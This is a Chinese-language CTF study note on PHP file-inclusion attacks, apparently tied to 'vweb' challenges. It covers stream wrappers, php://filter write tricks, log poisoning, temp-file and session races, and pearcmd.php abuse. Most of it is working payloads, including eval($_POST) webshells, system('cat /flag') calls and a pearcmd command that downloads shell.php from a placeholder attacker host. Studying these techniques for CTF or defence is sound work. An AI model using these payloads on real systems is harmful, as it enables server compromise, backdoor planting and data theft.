PHP文件包含

0x01 伪协议

PHP伪协议,也称为PHP流包装器,是一种在PHP中用于访问各种数据源的机制。这些数据源可以是本地文件系统、远程文件系统、PHP代码、压缩文件等。PHP伪协议允许开发者以统一的方式处理这些不同的数据源。

以下默认为: include $_GET[‘file’] , 且/?file=

1 ) file: //

用于访问本地文件系统

1
file://../../../../flag.php

2 ) http(s): //

用于访问HTTP或HTTPS的URL

1
http://www.CH0ico.fun/index.html

3 ) ftp: //

用于访问FTP服务器

1
ftp://ftp.example.com/pub/flag.txt

4 ) phar: //

用于访问PHP归档文件(Phar)

1
phar://../../../choco.phar

5 ) data: //

用于将文本或base64编码的数据作为字符串流访问

data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度

1
2
3
4
5
6
7
8
9
10
// normal
data://text/plain/,<?php%20system('cat /flag');?>

data://text/plain/,admin

// short
data:,<?php%20system('cat /flag');?>

// base64
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

6 ) 部分少见伪协议

  1. **glob://**:用于查找匹配特定模式的文件。
    • 例如:glob:///path/to/directory/*.txt
  2. **zip://**:用于访问ZIP归档文件中的文件。
    • 例如:zip:///path/to/your.zip#file.txt
  3. **bzip2://**:用于访问bzip2压缩文件。
    • 例如:bzip2:///path/to/yourfile.tar.bz2
  4. **compress.zlib://**:用于访问通过zlib压缩的数据。
    • 例如:compress.zlib:///path/to/yourfile.txt.gz

7 ) php: //

用于访问各种输入/输出流

filter

获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以一般对其进行编码,让其不执行。从而导致任意文件读取。

这个主要结合file_put_contents( )函数一块使用, 其中涉及到过滤器, 放在下一小节详细记录

1
2
3
/?file=php://filter/read=convert.base64-encode/resource=choco.php

content = aaPD9waHAgc3lzdGVtKCdscycpPz4=

include

用于读取POST数据

如果遇到include “php://input”; , 只需要用bp post传参php脚本命令就行

1
<?php system('cd ..;cd ..;cd ..;ls;cat flag')?>

0x02 过滤器

在PHP中,php://filter 是一种特殊的流包装器,它允许你使用流过滤器对数据流进行处理。流过滤器可以用于多种目的,如转换字符编码、压缩或解压缩数据、进行字符串搜索和替换等

除了最简单的用于用编码读取敏感信息之外

1
php://filter/read=convert.base64-encode/resource=flag.php

在做题时遇到file_put_contents( )函数, 给了写代码的权限

1
file_put_contents($file,<?php die()?>.$content);

会在 $file 文件中写入 $content 的内容, 由于编码的原因, 前面的会变成乱码从而不执行

1 ) 转换过滤器 convert.

base64-encode & convert.base64-decode

利用base64解码,将目标代码解码成乱码,绕过检验

1
2
3
4
5
6
7
8
/?file=php://filter/write=convert.base64-decode/resource=choco.php

// content=<?php system('cat /flag');?>
// base64加密
content=PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTtlY2hvICIxIjs/Pg==

// 访问choco.php 可以执行命令
// 注意也不要让content为空

quoted-printable-encode & convert.quoted-printable-decode

这个过滤器作用和quoted_printable_decode()相等

iconv.*

等同于用iconv()函数处理所有的流数据

比如如果把contents 从UCS-2LE编码转换为UCS-2BE编码 写入choco.php

1
2
3
4
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=choco.php

// <?php eval($_POST[1]);?> iconv("UCS-2LE","UCS-2BE",$content);处理一次再用过滤器写入
content=?<hp pvela$(P_SO[T]1;)>?

其中可以使用的编码方式有

1
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII*

2 ) 字符串过滤器 string.

rot13

对字符串执行 ROT13 转换

读:

1
php://filter/string.rot13/resource=flag.php

写:

1
2
3
php://filter/write=string.rot13/resource=choco.php

content= <?cuc flfgrz('gnp sy0t.cuc');?>

string.toupper

string.toupper 将字符串转化为大写

string.tolower

string.toupper 将字符串转化为小写

string.strip_tags

string.strip_tags从字符串中去除 HTML 和 PHP 标记,

尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。

3 ) 压缩过滤器

1
2
3
php://filter/zlib.deflate|zlib.inflate/resource=flag.php

php://filter/bzip2.compress|bzip2.decompress/resource=flag.php

4 ) 加密过滤器

mcrypt.和 mdecrypt.使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法
自 PHP 7.1.0 起
废弃

PHP: 加密过滤器 - Manual

0x03 配置文件

对于文件后缀被固定的包含, 无法使用伪协议

1 ) Nginx日志文件

前提条件: 有完全可控的文件包含点(没有后缀锁定) , 有日志文件路径

nginx默认日志路径 : /var/log/nginx/access.log

在数据包中的User-Agent会被写入到日志中, 如果这段内容是php代码就会被执行

因此

1
2
3
4
5
include "file:///varlog/nginx/access.log"

User-Agent: <?php eval($_POST[c]);?>

c=system('ls');phpinfo(); //phpinfo帮助定位回显位置

2 ) 临时文件

vweb 38

默认: /tmp/php??????, 但是php不支持通配符访问, 因此必须明确得到这个随机临时文件的名称

生命周期和php脚本一致 (脚本运行结束就删除)

突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,

它是一块内容一块内容发送的
4096个字符

假设我们能够访问phpinfo的结果 其中FILES 中存储tmp_name临时文件名字,读取后可以成功包含

不断填充字节 填充到4096时我们发送字节可控, 同时没有执行完脚本 , 也就是临时文件仍然存在

(注意同步一下LFIREQ的信息 这里应该是默认页面的路径 没有index.php就空

(竞争出结果 有很大概率失败

3 ) SESSION文件

vweb 39

php的session文件包含,upload_progress文件包含

强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS

可以往服务器的session文件内写入我们的指定内容

然后运行脚本 拿到shell地址
包含后,可以执行php代码

4 ) pearcmd.php文件

简单来说就是一个下载文件的拓展

当开启了pear扩展且 配置文件中register_argc_argv 设置为On,而默认为Off (传参时用+连接的值的个数就是argc,各个参数被存到argv里)

可以利用Pear扩展进行文件包含

默认安装位置是 /usr/local/lib/php/

以vweb 40为例

方法一 远程文件下载

(这里第一个参数choco.php用于占位)

1
/?file=/usr/local/lib/php/pearcmd.php&choco+install+-R+/var/www/html/+http://your-shell.com/shell.php

方法二 创建一个配置文件

-c 创建

-d 移动到配置文件夹

-s 保存

找一个可用配置项
man_dir=

1
2
3
4
5
6
# 创建木马 用bp发包避免url编码影响
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/choco.php+-d+man_dir=<?eval($_POST[1]);?>+-s+

# 执行木马
/?file=/tmp/choco.php
1=system('cd ..;cd ..;cd ..;cat /flag;ls');

方法三 写配置文件方式

1
/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=$_POST[1];?>+choco.php

5 ) 远程文件

通过域名转数字的形式,可以不用.来构造远程文件地址

https://seostudio.tools/zh/domain-to-ip 域名转ip

https://www.wetools.com/ip-to-number ipv4转数字

这样就可以include其他服务器的远程文件(木马)且绕过检验

1
2
# 连接某网站保存的0.php
/?file=http://11451415/0

0x04 通配符绕过

碰到无数字字母的题目

通配符匹配临时文件

  1. 本地构造upload.html,上传payload (比如system($cmd)中cmd不允许出现数字字母 , 令cmd=whoami等敏感命令)
  2. 在tmp临时目录下执行我们上传的内容 ( ‘.’ 执行 ‘+’ 代替空格)
1
2
3
4
5
6
7
8
POST /?cmd=.+/???/????????[@-[] HTTP/1.1
...
Connection: close

------

sed -n "3,4p" flag.php
------